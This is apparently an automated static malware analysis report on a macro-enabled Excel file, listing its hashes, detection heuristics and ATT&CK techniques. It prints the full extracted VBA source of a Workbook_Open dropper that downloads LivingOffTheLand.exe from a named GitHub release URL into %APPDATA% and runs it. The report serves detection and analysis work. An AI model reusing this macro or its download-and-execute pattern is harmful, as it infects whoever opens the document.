Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 484268f125ef468d…

MALICIOUS

Office (OOXML)

14.7 KB Created: 2021-09-24 17:53:39 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-09-29
MD5: b423c2b76f1f4625f17a873d36d049b2 SHA-1: b88baaecf38dc56790651b2bd07234330d5aa748 SHA-256: 484268f125ef468d52d864c346c4bc2321544388d7033f2fbac6f86513500a00
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The Workbook_Open VBA macro uses WScript.Shell to create an executable file named 'LivingOffTheLand.exe' in the %APPDATA% directory by downloading it from a GitHub URL. It then executes this downloaded file, indicating a dropper functionality. The presence of WScript.Shell and CreateObject calls, along with the HTTP download and execution, strongly suggests a malicious intent to download and run a secondary payload.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    v6d629cd44ed0684fbe584bf0589f15f1 = Shell(q365e944c4faf7f69f56185e0c498e280, 1)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim ne8acf9f7bbcf1902bcda5db9f32501d4: Set ne8acf9f7bbcf1902bcda5db9f32501d4 = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    .write t2f82d7801ddcbf54e431ab57baddf491.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim ne8acf9f7bbcf1902bcda5db9f32501d4: Set ne8acf9f7bbcf1902bcda5db9f32501d4 = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe Referenced by macro
    • https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe�Referenced by macro
    • https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOfReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1668 bytes
SHA-256: decb5f2af25b3729844a4e6cd52c4adb773a42a7e5061658936221aa5499ea12
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Dim ne8acf9f7bbcf1902bcda5db9f32501d4: Set ne8acf9f7bbcf1902bcda5db9f32501d4 = CreateObject("WScript.Shell")
appDataLocation = ne8acf9f7bbcf1902bcda5db9f32501d4.ExpandENvironmentStrings("%APPDATA%")
Dim t2f82d7801ddcbf54e431ab57baddf491: Set t2f82d7801ddcbf54e431ab57baddf491 = CreateObject("MSXML2.ServerXMLHTTP.6.0")
Dim bbf9d3be897da1efbab15288b861f3fc3: Set bbf9d3be897da1efbab15288b861f3fc3 = CreateObject("Adodb.Stream")
t2f82d7801ddcbf54e431ab57baddf491.Open "GET", "https://github.com/hidemepls785/furry-octo-parakeet/releases/download/release/LivingOffTheLand.exe", False
t2f82d7801ddcbf54e431ab57baddf491.Send
With bbf9d3be897da1efbab15288b861f3fc3
.Type = 1
.Open
.write t2f82d7801ddcbf54e431ab57baddf491.responseBody
.savetofile appDataLocation & "\LivingOffTheLand.exe", 2
End With
q365e944c4faf7f69f56185e0c498e280 = appDataLocation & "\LivingOffTheLand.exe"
v6d629cd44ed0684fbe584bf0589f15f1 = Shell(q365e944c4faf7f69f56185e0c498e280, 1)
End Sub


Attribute VB_Name = "Module1"
Sub test()

End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17920 bytes
SHA-256: fa623b13cb8288a45727ec906b6c10a40fe575878989ee7f5cda5124809de6c9
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely